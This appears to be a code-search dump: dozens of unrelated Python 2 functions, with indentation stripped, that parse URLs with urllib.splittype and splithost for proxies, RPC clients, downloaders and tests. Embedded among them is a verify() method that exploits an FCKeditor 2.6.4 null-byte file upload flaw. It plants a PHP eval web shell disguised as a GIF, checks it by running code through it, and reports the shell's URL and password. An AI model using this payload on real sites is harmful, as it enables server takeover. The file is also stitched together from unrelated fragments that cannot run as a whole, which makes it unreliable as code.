def start_a(self, attrs):
if self.get_object(): # expensive!
self.get_object().anchor(attrs)
return
name = type = target = title = ''
id = None
has_key = attrs.has_key
#
href = string.strip(attrs.get("urn", ""))
scheme, resturl = urllib.splittype(href)
if scheme == "urn":
scheme, resturl = urllib.splittype(resturl)
if scheme not in ("doi", "hdl", "ietf"):
# this is an unknown URN scheme or there wasn't a URN
href = string.strip(attrs.get("href", ""))
name = extract_keyword('name', attrs,
conv=grailutil.conv_normstring)
if has_key('type'): type = string.lower(attrs['type'] or '')
if has_key('target'): target = attrs['target']
if has_key('id'): id = attrs['id']
self.anchor_bgn(href, name, type, target, id)
# Delay this at least a little, since we don't want to add the title
# to the history until the last possible moment. We need a non-history
# way to do this; a resources database would be much better.
if has_key('title'):
title = string.join(string.split(attrs['title'] or ''))
if title:
url = self.context.get_baseurl(
string.joinfields(string.split(href), ''))
old_title, when = self.app.global_history.lookup_url(url)
if not old_title:
# Only do this if there's not already a title in the
# history. If the URL wasn't in the history, it will
# be given a timestamp, which is bad. ;-(
self.app.global_history.set_title(url, title)
def open(self, fullurl, data=None, method=None):
"""Use URLopener().open(file) instead of open(file, 'r')."""
fullurl = unwrap(toBytes(fullurl))
# percent encode url, fixing lame server errors for e.g, like space
# within url paths.
fullurl = quote(fullurl, safe="%/:=&?~#+!$,;'@()*[]|")
if self.tempcache and fullurl in self.tempcache:
filename, headers = self.tempcache[fullurl]
fp = open(filename, 'rb')
return addinfourl(fp, headers, fullurl)
urltype, url = splittype(fullurl)
if not urltype:
urltype = 'file'
if urltype in self.proxies:
proxy = self.proxies[urltype]
urltype, proxyhost = splittype(proxy)
host, selector = splithost(proxyhost)
url = (host, fullurl) # Signal special case to open_*()
else:
proxy = None
name = 'open_' + urltype
self.type = urltype
name = name.replace('-', '_')
if not hasattr(self, name):
if proxy:
return self.open_unknown_proxy(proxy, fullurl, data)
else:
return self.open_unknown(fullurl, data)
try:
return getattr(self, name)(url, data, method)
except socket.error, msg:
raise IOError, ('socket error', msg), sys.exc_info()[2]
def __init__(self, uri, transport=None, encoding=None, verbose=0,
allow_none=0, use_datetime=0):
urltype, _ = urllib.splittype(uri)
if urltype not in ('http', 'https'):
raise IOError('unsupported JSON-RPC protocol')
_base.ServerProxy.__init__(self, uri, transport, encoding, verbose,
allow_none, use_datetime)
transport_type, uri = urllib.splittype(uri)
if transport is None:
if transport_type == 'https':
transport = SafeTransport(use_datetime=use_datetime)
else:
transport = Transport(use_datetime=use_datetime)
self.__transport = transport
def flushsquid():
prefix = request.query.jsoncallback
RawUrls = request.query.urls
urlstype = int(request.query.urlstype)
LogKeyName = "key"+str(request.query.key)
if RawUrls.strip() == "":
DataDict = {'success':'0','text':'请输入需要刷新的URLS列表!'}
return prefix+"("+ujson.encode(DataDict)+")"
else:
RawUrls = RawUrls.strip(",")
UrlsList = RawUrls.split(",")
QuitFlag = False
PathList = []
#判断收到的URL是否是同域名下同类型的URL(同是文件或目录)
FirstUrl = UrlsList[0]
proto,rest = urllib.splittype(FirstUrl)
DomainName,path = urllib.splithost(rest)
if "." in path:
UrlType = "file"
else:
UrlType = "dir"
for url in UrlsList:
proto,rest = urllib.splittype(url)
Thost,Tpath = urllib.splithost(rest)
if "." in Tpath:
TUrlType = "file"
else:
TUrlType = "dir"
if DomainName != Thost or UrlType != TUrlType:
QuitFlag = True
break
else:
PathList.append(Tpath)
if QuitFlag == False:
try:
#调用刷新类
PurgeCacheObj = exeCachePurge(UrlType,PathList,DomainName,LogKeyName)
PurgeCacheObj.start()
except Exception,e:
DataDict = {'success':'0','text':'%s'%e}
else:
DataDict = {'success':'1'}
def open_http(self, url):
"""Use HTTP protocol."""
if isinstance(url, str):
host, selector = urllib.splithost(url)
if host:
user_passwd, host = urllib.splituser(host)
host = urllib.unquote(host)
realhost = host
else:
host, selector = url
urltype, rest = urllib.splittype(selector)
url = rest
user_passwd = None
if urltype.lower() != "http":
realhost = None
else:
realhost, rest = splithost(rest)
if realhost:
user_passwd, realhost = splituser(realhost)
if user_passwd:
selector = "%s://%s%s" % (urltype, realhost, rest)
if proxy_bypass(realhost):
host = realhost
if not host:
return -2
h = httplib.HTTP(host)
h.putrequest("GET", selector)
if realhost:
h.putheader("Host", realhost)
for args in self.addheaders:
h.putheader(*args)
h.endheaders()
errcode, errmsg, headers = h.getreply()
return errcode
def test_empty_string_proxy_username(self):
"""
Yoram Hekma submitted a patch[0] that ensured that an empty string in the proxy username
would not count as the user supplying a username. This test ensures that behavior is tested.
[0] https://github.com/pulp/nectar/pull/47
"""
kwargs = {'proxy_url': 'https://invalid-proxy.com',
'proxy_port': 1234,
'proxy_username': '',
'proxy_password': ''}
proxy_host = urllib.splithost(urllib.splittype(kwargs['proxy_url'])[1])[0]
cfg = config.DownloaderConfig(**kwargs)
session = threaded.build_session(cfg)
self.assertEqual(session.stream, True)
self.assertFalse(hasattr(session.auth, 'proxy_username'))
self.assertFalse(hasattr(session.auth, 'proxy_password'))
# Since the user provided the empty string for the proxy username, the username and password
# should be missing in the session proxies.
self.assertEqual(session.proxies,
{'http': 'https://%s:%d' % (proxy_host, kwargs['proxy_port']),
'https': 'https://%s:%d' % (proxy_host, kwargs['proxy_port'])})
def __init__(self, ec2_url, ec2_region, ec2_access_key, ec2_secret_key,
vpc=None, storage_path=None, request_floating_ip=False):
self._url = ec2_url
self._region_name = ec2_region
self._access_key = ec2_access_key
self._secret_key = ec2_secret_key
self._vpc = vpc
self.request_floating_ip = request_floating_ip
# read all parameters from url
proto, opaqueurl = urllib.splittype(ec2_url)
self._host, self._ec2path = urllib.splithost(opaqueurl)
self._ec2host, port = urllib.splitport(self._host)
if port:
port = int(port)
self._ec2port = port
if proto == "https":
self._secure = True
else:
self._secure = False
# will be initialized upon first connect
self._ec2_connection = None
self._vpc_connection = None
self._vpc_id = None
self._region = None
self._instances = {}
self._cached_instances = []
self._images = None
def parse_callback_url(self, callback_url):
proto, rest = urllib.splittype(callback_url)
host, rest = urllib.splithost(rest)
host, port = urllib.splitport(host)
if not port:
port = 443
return host, port
def test_build_session(self):
kwargs = {'basic_auth_username': '******',
'basic_auth_password': '******',
'ssl_validation': False,
'ssl_client_cert_path': os.path.join(_find_data_directory(), 'pki/bogus/cert.pem'),
'ssl_client_key_path': os.path.join(_find_data_directory(), 'pki/bogus/key.pem'),
'proxy_url': 'https://invalid-proxy.com',
'proxy_port': 1234,
'proxy_username': '******',
'proxy_password': '******'}
proxy_host = urllib.splithost(urllib.splittype(kwargs['proxy_url'])[1])[0]
cfg = config.DownloaderConfig(**kwargs)
session = threaded.build_session(cfg)
self.assertEqual(session.stream, True)
self.assertEqual(session.auth, (kwargs['basic_auth_username'], kwargs['basic_auth_password']))
self.assertEqual(session.cert, (kwargs['ssl_client_cert_path'], kwargs['ssl_client_key_path']))
self.assertEqual(session.proxies, {'http': 'https://%s:%s@%s:%d' % (kwargs['proxy_username'],
kwargs['proxy_password'],
proxy_host,
kwargs['proxy_port']),
'https': 'http://%s:%s@%s:%d' % (kwargs['proxy_username'],
kwargs['proxy_password'],
proxy_host,
kwargs['proxy_port'])})
def getpage(self, url_pair):
# Incoming argument name is a (URL, fragment) pair.
# The page may have been cached in the name_table variable.
url, fragment = url_pair
if self.name_table.has_key(url):
return self.name_table[url]
scheme, path = urllib.splittype(url)
if scheme in ('mailto', 'news', 'javascript', 'telnet'):
self.note(1, " Not checking %s URL" % scheme)
return None
isint = self.inroots(url)
# Ensure that openpage gets the URL pair to
# print out its error message and record the error pair
# correctly.
if not isint:
if not self.checkext:
self.note(1, " Not checking ext link")
return None
f = self.openpage(url_pair)
if f:
self.safeclose(f)
return None
text, nurl = self.readhtml(url_pair)
if nurl != url:
self.note(1, " Redirected to %s", nurl)
url = nurl
if text:
return Page(text, url, maxpage=self.maxpage, checker=self)
def __init__(self, username=None, password=None, serverurl=None):
self.username = username
self.password = password
self.verbose = False
self.serverurl = serverurl
if serverurl.startswith("http://"):
type, uri = urllib.splittype(serverurl)
host, path = urllib.splithost(uri)
host, port = urllib.splitport(host)
if port is None:
port = 80
else:
port = int(port)
def get_connection(host=host, port=port):
return httplib.HTTPConnection(host, port)
self._get_connection = get_connection
elif serverurl.startswith("unix://"):
def get_connection(serverurl=serverurl):
# we use 'localhost' here because domain names must be
# < 64 chars (or we'd use the serverurl filename)
conn = UnixStreamHTTPConnection("localhost")
conn.socketfile = serverurl[7:]
return conn
self._get_connection = get_connection
else:
raise ValueError("Unknown protocol for serverurl %s" % serverurl)
def request(self, method, url, body=None, headers={}):
"""
Make CONNECT request to proxy.
"""
proto, rest = urllib.splittype(url)
if proto is None:
raise ValueError, "unknown URL type: %s" % url
# Get hostname.
host = urllib.splithost(rest)[0]
# Get port of one
host, port = urllib.splitport(host)
# When no port use hardcoded.
if port is None:
try:
port = self._ports[proto]
except KeyError:
raise ValueError, "unknown protocol for: %s" % url
# Remember.
self._real_host = host
self._real_port = port
# Remember auth if there.
if headers.has_key("Proxy-Authorization"):
self._proxy_authorization = headers["Proxy-Authorization"]
del headers["Proxy-Authorization"]
else:
self._proxy_authorization = None
httplib.HTTPConnection.request(self, method, url, body, headers)
def verify(self):
url = self.target
filename = "ice.gif"
foldername = "ice.php%00.gif"
connector = "editor/filemanager/connectors/php/connector.php";
proto, rest = urllib.splittype(url)
host, rest = urllib.splithost(rest)
payload = "-----------------------------265001916915724\r\n"
payload += "Content-Disposition: form-data; name=\"NewFile\"; filename=\"ice.gif\"\r\n"
payload += "Content-Type: image/jpeg\r\n\r\n"
payload += 'GIF89a'+"\r\n"+'<?php eval($_POST[ice]) ?>'+"\n"
payload += "-----------------------------265001916915724--\r\n"
packet = "POST {$path}{$connector}?Command=FileUpload&Type=Image&CurrentFolder="+foldername+" HTTP/1.0\r\n";
packet += "Host: "+ host +"\r\n"
packet += "Content-Type: multipart/form-data; boundary=---------------------------265001916915724\r\n"
packet += "Content-Length: "+ str(len(payload))+"\r\n"
packet += "Connection: close\r\n\r\n"
packet += payload
webshell_url = url + '/uploadfile/file/ice.php'
urllib2.urlopen(url, data=packet,timeout=5)
request = urllib2.Request(webshell_url, data="e=echo strrev(gwesdvjvncqwdijqiwdqwduhq);")
response = urllib2.urlopen(request).read()
if 'gwesdvjvncqwdijqiwdqwduhq'[::-1] in response:
self.result['status'] = True
self.result['info'] = "目标存在fckeditor 2.6.4 %00截断任意文件上传漏洞, webshell: %s 密码ice" % webshell_url
def _add_proxy(session, config):
if None in (config.proxy_url, config.proxy_port):
return
# Set session.proxies according to given url and port
protocol, remainder = urllib.splittype(config.proxy_url)
host, remainder = urllib.splithost(remainder)
url = ':'.join((host, str(config.proxy_port)))
if config.proxy_username:
password_part = config.get('proxy_password', '') and ':%s' % config.proxy_password
auth = config.proxy_username + password_part
auth = urllib.quote(auth, safe=':')
url = '@'.join((auth, url))
session.proxies['https'] = '://'.join((protocol, url))
session.proxies['http'] = '://'.join((protocol, url))
# Set session.auth if proxy username is specified
if config.proxy_username is not None:
proxy_password = config.get('proxy_password', '')
if None in (config.basic_auth_username, config.basic_auth_password):
# bz 1021662 - Proxy authentiation using username and password in session.proxies urls
# does not setup correct headers in the http download request because of a bug in
# urllib3. This is an alternate approach which sets up the headers correctly.
session.auth = requests.auth.HTTPProxyAuth(config.proxy_username, proxy_password)
else:
# The approach mentioned above works well except when a basic user authentication is
# used, along with the proxy authentication. Therefore, we define and use a custom class
# which inherits AuthBase class provided by the requests library to add the headers
# correctly.
session.auth = HTTPBasicWithProxyAuth(config.basic_auth_username,
config.basic_auth_password,
config.proxy_username,
proxy_password)
def __init__(self, uri, transport=None, encoding=None,
verbose=0, version=None):
import urllib
if not version:
version = config.version
self.__version = version
schema, uri = urllib.splittype(uri)
if schema not in ('http', 'https', 'unix'):
raise IOError('Unsupported JSON-RPC protocol.')
if schema == 'unix':
if not USE_UNIX_SOCKETS:
# Don't like the "generic" Exception...
raise UnixSocketMissing("Unix sockets not available.")
self.__host = uri
self.__handler = '/'
else:
self.__host, self.__handler = urllib.splithost(uri)
if not self.__handler:
# Not sure if this is in the JSON spec?
# self.__handler = '/'
self.__handler == '/'
if transport is None:
if schema == 'unix':
transport = UnixTransport()
elif schema == 'https':
transport = SafeTransport()
else:
transport = Transport()
self.__transport = transport
self.__encoding = encoding
self.__verbose = verbose
def url2pathname(pathname):
"""OS-specific conversion from a relative URL of the 'file' scheme
to a file system path; not recommended for general use."""
tp = urllib.splittype(pathname)[0]
if tp and tp != 'file':
raise RuntimeError, 'Cannot convert non-local URL to pathname'
if pathname[:3] == '///':
pathname = pathname[2:]
elif pathname[:2] == '//':
raise RuntimeError, 'Cannot convert non-local URL to pathname'
components = pathname.split('/')
i = 0
while i < len(components):
if components[i] == '.':
del components[i]
elif components[i] == '..' and i > 0 and components[i - 1] not in ('', '..'):
del components[i - 1:i + 1]
i = i - 1
elif components[i] == '' and i > 0 and components[i - 1] != '':
del components[i]
else:
i = i + 1
if not components[0]:
rv = ':'.join(components[1:])
else:
i = 0
while i < len(components) and components[i] == '..':
components[i] = ''
i = i + 1
rv = ':' + ':'.join(components)
return urllib.unquote(rv)
def start(self, destfile=None, destfd=None):
urllib._urlopener = OLPCURLopener()
self._info = urllib.urlopen(self._url)
self._outf = None
self._fname = None
if destfd and not destfile:
raise ValueError('Must provide destination file too when'
' specifying file descriptor')
if destfile:
self._suggested_fname = os.path.basename(destfile)
self._fname = os.path.abspath(os.path.expanduser(destfile))
if destfd:
# Use the user-supplied destination file descriptor
self._outf = destfd
else:
self._outf = os.open(self._fname, os.O_RDWR |
os.O_TRUNC | os.O_CREAT, 0644)
else:
fname = self._get_filename_from_headers(self._info.headers)
self._suggested_fname = fname
garbage_, path = urllib.splittype(self._url)
garbage_, path = urllib.splithost(path or "")
path, garbage_ = urllib.splitquery(path or "")
path, garbage_ = urllib.splitattr(path or "")
suffix = os.path.splitext(path)[1]
(self._outf, self._fname) = tempfile.mkstemp(suffix=suffix,
dir=self._destdir)
fcntl.fcntl(self._info.fp.fileno(), fcntl.F_SETFD, os.O_NDELAY)
self._srcid = GObject.io_add_watch(self._info.fp.fileno(),
GObject.IO_IN | GObject.IO_ERR,
self._read_next_chunk)
def compile(self):
"""Validate the user submitted url address at compile stage.
The url address will be tested with the configured regex patterns
loaded from :attr:`BaseHost.compiler_params`.
Refer to :ref:`hwnetapi` for more details about the rules.
"""
if self.config['urlrule']:
p = re.compile(self.config['urlrule'])
if not p.match(self.config['remote_addr']):
raise NetApiAddressRejected(compile_error=lazy_gettext(
'Address "%(url)s" does not match pattern "%(rule)s"',
url=self.config['remote_addr'], rule=self.config['urlrule']
))
if self.config['iprule']:
domain = urllib.splitport(
urllib.splithost(
urllib.splittype(self.config['remote_addr'])[1]
)[0]
)[0]
# get ip from domain
try:
ipaddr = socket.gethostbyname(domain)
except Exception:
logger.exception(
'Could not get ip address for domain "%s".' % domain)
ipaddr = '<invalid>'
# ip not match, skip
p = re.compile(self.config['iprule'])
if not p.match(ipaddr):
raise NetApiAddressRejected(compile_error=lazy_gettext(
'IP address "%(ip)s" does not match pattern "%(rule)s"',
ip=ipaddr, rule=self.config['iprule']
))
def __init__(self, url, config = Config):
proto, uri = urllib.splittype(url)
# apply some defaults
if uri[0:2] != '//':
if proto != None:
uri = proto + ':' + uri
uri = '//' + uri
proto = 'http'
host, path = urllib.splithost(uri)
try:
int(host)
host = 'localhost:' + host
except:
pass
if not path:
path = '/'
if proto not in ('http', 'https', 'httpg'):
raise IOError, "unsupported SOAP protocol"
if proto == 'httpg' and not config.GSIclient:
raise AttributeError, \
"GSI client not supported by this Python installation"
if proto == 'https' and not config.SSLclient:
raise AttributeError, \
"SSL client not supported by this Python installation"
self.user,host = urllib.splituser(host)
self.proto = proto
self.host = host
self.path = path
def request(self, method, url, body=None, headers={}):
# Request is called before connect, so can interpret url and get
# real host/port to be used to make CONNECT request to proxy
proto, rest = urllib.splittype(url)
if proto is None:
raise ValueError, "unknown URL type: %s" % url
# Get host
host, rest = urllib.splithost(rest)
# Try to get port
host, port = urllib.splitport(host)
# If port is not defined try to get from proto
if port is None:
try:
port = self._ports[proto]
except KeyError:
raise ValueError, "unknown protocol for: %s" % url
self._real_host = host
self._real_port = int(port)
httplib.HTTPConnection.request(self, method, rest, body, headers)
def LoadBookmarks():
"""Returns gtk bookmarks """
_bookmarks_path = os.path.expanduser("~/.gtk-bookmarks")
_places = []
try:
for line in file(_bookmarks_path):
line = line.strip()
if " " in line:
uri, name = line.split(" ", 1)
else:
uri = line
path = urllib.splittype(uri)[1]
name = urllib.unquote(os.path.split(path)[1])
try:
if os.path.exists(uri):
continue
# Protect against a broken bookmarks file
except TypeError:
continue
_places.append((uri, name))
return _places
except IOError, err:
print "Error loading GTK bookmarks:", err
def stripy_article_list(self, section_name, page_num):
try:
self.cur_page = page_num
article_list = []
if page_num == 0:
url = self.section_url_map[section_name]
else:
url = self.section_url_map[section_name][0:-8] + '_' + str(self.cur_page) + '.shtml'
contentHtml = self.session.get(url, stream=True)
encoding = chardet.detect(contentHtml.content)['encoding']
if contentHtml.status_code == requests.codes.ok:
pattern = r'<a href=\'(.*?)\'.*?<font class=a19_articlelist>(.*?)</a>.*?>(.*?)</td>'
for mtFind in re.finditer(pattern, contentHtml.content, re.S):
if mtFind.groups()[0][0:4] == "http":
article_url = mtFind.groups()[0]
else:
proto,rest = urllib.splittype( self.section_url_map[section_name])
article_url = proto + "://" + urllib.splithost( rest )[0] + "/" + mtFind.groups()[0].strip("../")
public_time = self.strip_tags(mtFind.groups()[2])
title = mtFind.groups()[1].decode(encoding)
item = article_item(article_url, title, public_time)
item.set_section_name(section_name)
article_list.append(item)
else:
self.logger.error(u'没有获取到文章列表 ' + str(page_num) )
except BaseException, e:
self.logger.error(str(e))
def __init__(self, url, progress_cb=None, auth=None, config=None,
client_string_func=None, open_tmp_file_func=None):
self.url = url
(type, opaque) = urllib.splittype(url)
assert type in ("svn", "svn+ssh")
(host, path) = urllib.splithost(opaque)
self._progress_cb = progress_cb
self._auth = auth
self._config = config
self._client_string_func = client_string_func
# open_tmp_file_func is ignored, as it is not needed for svn://
if type == "svn":
(recv_func, send_func) = self._connect(host)
else:
(recv_func, send_func) = self._connect_ssh(host)
super(SVNClient, self).__init__(recv_func, send_func)
(min_version, max_version, _, self._server_capabilities) = self._recv_greeting()
self.send_msg([max_version, [literal(x) for x in CAPABILITIES if x in self._server_capabilities], self.url])
(self._server_mechanisms, mech_arg) = self._unpack()
if self._server_mechanisms != []:
# FIXME: Support other mechanisms as well
self.send_msg([literal("ANONYMOUS"), [base64.b64encode("anonymous@%s" % socket.gethostname())]])
self.recv_msg()
msg = self._unpack()
if len(msg) > 2:
self._server_capabilities += msg[2]
(self._uuid, self._root_url) = msg[0:2]
self.busy = False
def processRequest(self,method=None,url=None,data="",headers={}):
conf = desktop.Config()
if not conf['proxy']:
self.proxy_host = None
self.proxy_port = None
else:
self.proxy_host = conf['proxy']['proxy']
self.proxy_port = conf['proxy']['proxy_port']
socket.setdefaulttimeout(self.http_timeout)
(protocol,resource) = urllib.splittype(url)
(hostport,path) = urllib.splithost(resource)
connexion = None
if protocol.lower() == "http":
(host,port) = urllib.splitnport(hostport, 80)
import httplib
if self.proxy_host != None and self.proxy_port != None :
connexion = HTTPConnection(self.proxy_host, self.proxy_port, timeout=self.http_timeout)
path = url
else:
connexion = HTTPConnection(host, port, timeout=self.http_timeout)
elif protocol.lower() == "https" :
(host,port) = urllib.splitnport(hostport, 443)
connexion = HTTPSConnection(host, port)
if self.proxy_host != None and self.proxy_port != None :
connexion.http_proxy = [self.proxy_host,
self.proxy_port]
else:
assert False, "Unhandled Protocol, please use HTTP or HTTPS"
connexion.connect()
connexion.request(method, path, body=data, headers=headers)
response = connexion.getresponse()
return response
def __init__(self, uri, username=None, password=None,
verify=False, sp=None, sp_kwargs=None):
self.uri = self._transform_uri(uri) # : From X{__init__(self, url)}
self.username = username
self.password = password
self.scheme = urllib.splittype(self.uri)[0]
if sp:
self.sp = sp
elif self.scheme in ['http', 'https']:
self.sp = HTTPServerProxy
elif self.scheme == 'scgi':
self.sp = SCGIServerProxy
else:
raise NotImplementedError()
self.sp_kwargs = sp_kwargs or {}
self.torrents = [] # : List of L{Torrent} instances
self._rpc_methods = [] # : List of rTorrent RPC methods
self._torrent_cache = []
self._client_version_tuple = ()
if verify is True:
self._verify_conn()
def _get_real_authority(self):
"""
Return the authority specification of the originally requested URL.
The return value is a string of the form <host>:<port>.
"""
url = self._proxy_request.get_selector()
proto, rest = urllib.splittype(url)
if proto is None:
raise ValueError("unknown URL type: %s" % url)
# Get the host and port specification
host, rest = urllib.splithost(rest)
host, port = urllib.splitport(host)
# If port is not defined, then try to get it from the protocol.
if port is None:
try:
port = self._ports[proto]
except KeyError:
raise ValueError("unknown protocol for: %s" % url)
return '%s:%d' % (host, port)
def init_server(self, myuri):
#Borrowed the following from rpcServer.py
#rpclib.Server.__init__(self, uri, transport=self.rpc_args['transport'], encoding=self.rpc_args['encoding'], verbose=self.rpc_args['verbose'],\
# proxy=self.rpc_args['proxy'], username=self.rpc_args['username'],\
# password=self.rpc_args['password'], refreshCallback=self.rpc_args['refreshCallback'],\
# progressCallback=self.rpc_args['progressCallback'])
self._uri = myuri
typ, uri = urllib.splittype(self._uri)
typ = typ.lower()
if typ not in ("http", "https"):
raise InvalidRedirectionError(
"Redirected to unsupported protocol %s" % typ)
self._host, self._handler = urllib.splithost(uri)
self._orig_handler = self._handler
self._type = typ
if not self._handler:
self._handler = self.rpc_handler
self._allow_redirect = 1
del self._transport
self._transport = self.default_transport(typ, self._proxy,
self._username, self._password)
self.set_progress_callback(self._progressCallback)
self.set_refresh_callback(self._refreshCallback)
self.set_buffer_size(self._bufferSize)
self.setlang(self._lang)
if self._trusted_cert_files != [] and \
hasattr(self._transport, "add_trusted_cert"):
for certfile in self._trusted_cert_files:
self._transport.add_trusted_cert(certfile)
def do_open(self, http_class, req):
host = req.get_host()
if not host:
raise URLError('no host given')
h = http_class(host) # will parse host:port
if req.has_data():
data = req.get_data()
h.putrequest('POST', req.get_selector())
if not req.headers.has_key('Content-type'):
h.putheader('Content-type',
'application/x-www-form-urlencoded')
if not req.headers.has_key('Content-length'):
h.putheader('Content-length', '%d' % len(data))
else:
h.putrequest('GET', req.get_selector())
scheme, sel = splittype(req.get_selector())
sel_host, sel_path = splithost(sel)
h.putheader('Host', sel_host or host)
for args in self.parent.addheaders:
h.putheader(*args)
for k, v in req.headers.items():
h.putheader(k, v)
# httplib will attempt to connect() here. be prepared
# to convert a socket error to a URLError.
try:
h.endheaders()
except socket.error, err:
raise URLError(err)
def __init__(self, uri, transport=None, encoding=None, verbose=0, auth_username=None, auth_password=None):
# establish a "logical" server connection
# get the url
import urllib
type, uri = urllib.splittype(uri)
if type:
if type not in ("http", "https"):
raise IOError, "unsupported XML-RPC protocol"
self.__host, self.__handler = urllib.splithost(uri)
if not self.__handler:
self.__handler = "/RPC2"
if transport is None:
if type == "https":
transport = SafeTransport()
else:
transport = Transport()
else:
self.__host = uri
transport = RawTransport()
self.__transport = transport
self.__encoding = encoding
self.__verbose = verbose
self.__username = auth_username
self.__password = auth_password
def do_request_(self, request):
host = request.get_host()
if not host:
raise URLError('no host given')
if request.has_data(): # POST
data = request.get_data()
if not request.has_header('Content-type'):
request.add_unredirected_header(
'Content-type',
'application/x-www-form-urlencoded')
if not request.has_header('Content-length'):
request.add_unredirected_header(
'Content-length', '%d' % len(data))
scheme, sel = splittype(request.get_selector())
sel_host, sel_path = splithost(sel)
if not request.has_header('Host'):
request.add_unredirected_header('Host', sel_host or host)
for name, value in self.parent.addheaders:
name = name.capitalize()
if not request.has_header(name):
request.add_unredirected_header(name, value)
return request
def _getPath(self, url):
proto, rest = urllib.splittype(url)
host, rest = urllib.splithost(rest)
path, query = urllib.splitquery(rest)
return path
def _retrieve (self, url, alias_list, post_data):
"""Really retrieve the url."""
if url.get_protocol () == 'plucker':
return self._retrieve_plucker (url, alias_list)
elif url.get_protocol () == 'mailto':
# Nothing to fetch really...
return ({'URL': url,
'error code': 0,
'error text': "OK",
'content-type': "mailto/text",
'content-length': 0},
"")
else:
# not a plucker:... URL
try:
real_url = str (url)
webdoc = self._urlopener.open (real_url, post_data)
if hasattr (webdoc, 'retcode'):
headers_dict = {'URL': real_url,
'error code': webdoc.retcode,
'error text': webdoc.retmessage}
doc_info = webdoc.info ()
if doc_info is not None:
# This should always be a dict, but some people found None... :-(
headers_dict.update (doc_info.dict)
return (headers_dict, None)
if hasattr (webdoc, 'url'):
#######################################################################
# Redhat 7.x default Python installation will return #
# webdoc.url without a protocol at the beginning #
# (e.g. ://www.xyz.com instead of http://www.xyz.com). #
# This is due to a bug in RH's /usr/lib/python1.5/urllib.py. #
# [email protected] #
#######################################################################
################################################
# On Windows we wan't use #
# URL(url).get_protocol to get the protokoll #
# urllib.splittype(url) and all other url #
# manipuling funktions are too buggy #
################################################
if sys.platform == 'win32':
from PyPlucker.Url import URL
webdoc_protocol = URL(webdoc.url).get_protocol
else:
(webdoc_protocol, webdoc_rest_of_url) = urllib.splittype(webdoc.url)
# check to see we have a valid URL; if not, use one we started with
if webdoc_protocol:
real_url = webdoc.url
headers_dict = {'URL': real_url}
doc_info = webdoc.info ()
message(3, "doc_info is %s", doc_info);
if doc_info is not None:
# This should always be a dict, but some people found None... :-(
headers_dict.update (doc_info.dict)
if not headers_dict.has_key ('content-type'):
message (1, "Guessing type for %s" % url.get_path ())
headers_dict['content-type'] = GuessType (url.get_path ())
else:
ctype, parameters = parse_http_header_value(headers_dict['content-type'])
headers_dict['content-type'] = ctype
for parm in parameters:
headers_dict[parm[0]] = parm[1]
message(3, "headers_dict is %s", headers_dict);
# Now get the contents
contents = webdoc.read ()
# Check if encoded contents...
if headers_dict.has_key ('content-encoding'):
encoding = headers_dict['content-encoding']
if encoding == 'gzip' and _have_gzip:
s = StringIO.StringIO (contents)
g = gzip.GzipFile (fileobj=s)
c = g.read ()
g.close ()
contents = c
else:
return ({'URL': real_url,
'error code': 404,
'error text': "Unhandled content-encoding '%s'" % encoding},
None)
except IOError, text:
return ({'URL': real_url,
'error code': 404,
'error text': text},
None)
except OSError, text:
return ({'URL': real_url,
'error code': 404,
'error text': text},
None)
def get_base_url(url):
import urllib
import urlparse
proto, rest = urllib.splittype(url)
res, rest = urllib.splithost(rest)
return urlparse.urlunsplit((proto, res, "", "", ""))
def split_url(url):
'''Splits a url into (uri_scheme, host[:port], path)'''
scheme, remainder = urllib.splittype(url)
host, path = urllib.splithost(remainder)
return scheme.lower(), host, path
def guess_type(self, url, strict=True):
"""Guess the type of a file based on its URL.
Return value is a tuple (type, encoding) where type is None if
the type can't be guessed (no or unknown suffix) or a string
of the form type/subtype, usable for a MIME Content-type
header; and encoding is None for no encoding or the name of
the program used to encode (e.g. compress or gzip). The
mappings are table driven. Encoding suffixes are case
sensitive; type suffixes are first tried case sensitive, then
case insensitive.
The suffixes .tgz, .taz and .tz (case sensitive!) are all
mapped to '.tar.gz'. (This is table-driven too, using the
dictionary suffix_map.)
Optional `strict' argument when False adds a bunch of commonly found,
but non-standard types.
"""
scheme, url = urllib.splittype(url)
if scheme == 'data':
# syntax of data URLs:
# dataurl := "data:" [ mediatype ] [ ";base64" ] "," data
# mediatype := [ type "/" subtype ] *( ";" parameter )
# data := *urlchar
# parameter := attribute "=" value
# type/subtype defaults to "text/plain"
comma = url.find(',')
if comma < 0:
# bad data URL
return None, None
semi = url.find(';', 0, comma)
if semi >= 0:
type = url[:semi]
else:
type = url[:comma]
if '=' in type or '/' not in type:
type = 'text/plain'
return type, None # never compressed, so encoding is None
base, ext = posixpath.splitext(url)
while ext in self.suffix_map:
base, ext = posixpath.splitext(base + self.suffix_map[ext])
if ext in self.encodings_map:
encoding = self.encodings_map[ext]
base, ext = posixpath.splitext(base)
else:
encoding = None
types_map = self.types_map[True]
if ext in types_map:
return types_map[ext], encoding
elif ext.lower() in types_map:
return types_map[ext.lower()], encoding
elif strict:
return None, encoding
types_map = self.types_map[False]
if ext in types_map:
return types_map[ext], encoding
elif ext.lower() in types_map:
return types_map[ext.lower()], encoding
else:
return None, encoding
def _parse_proxy(self, proxy):
"""Return (scheme, user, password, host/port) given a URL or an authority.
If a URL is supplied, it must have an authority (host:port) component.
According to RFC 3986, having an authority component means the URL must
have two slashes after the scheme:
>>> _parse_proxy('file:/ftp.example.com/')
Traceback (most recent call last):
ValueError: proxy URL with no authority: 'file:/ftp.example.com/'
The first three items of the returned tuple may be None.
Examples of authority parsing:
>>> _parse_proxy('proxy.example.com')
(None, None, None, 'proxy.example.com')
>>> _parse_proxy('proxy.example.com:3128')
(None, None, None, 'proxy.example.com:3128')
The authority component may optionally include userinfo (assumed to be
username:password):
>>> _parse_proxy('joe:[email protected]')
(None, 'joe', 'password', 'proxy.example.com')
>>> _parse_proxy('joe:[email protected]:3128')
(None, 'joe', 'password', 'proxy.example.com:3128')
Same examples, but with URLs instead:
>>> _parse_proxy('http://proxy.example.com/')
('http', None, None, 'proxy.example.com')
>>> _parse_proxy('http://proxy.example.com:3128/')
('http', None, None, 'proxy.example.com:3128')
>>> _parse_proxy('http://*****:*****@proxy.example.com/')
('http', 'joe', 'password', 'proxy.example.com')
>>> _parse_proxy('http://*****:*****@proxy.example.com:3128')
('http', 'joe', 'password', 'proxy.example.com:3128')
Everything after the authority is ignored:
>>> _parse_proxy('ftp://*****:*****@proxy.example.com/rubbish:3128')
('ftp', 'joe', 'password', 'proxy.example.com')
Test for no trailing '/' case:
>>> _parse_proxy('http://*****:*****@proxy.example.com')
('http', 'joe', 'password', 'proxy.example.com')
"""
scheme, r_scheme = splittype(proxy)
if not r_scheme.startswith("/"):
# authority
scheme = None
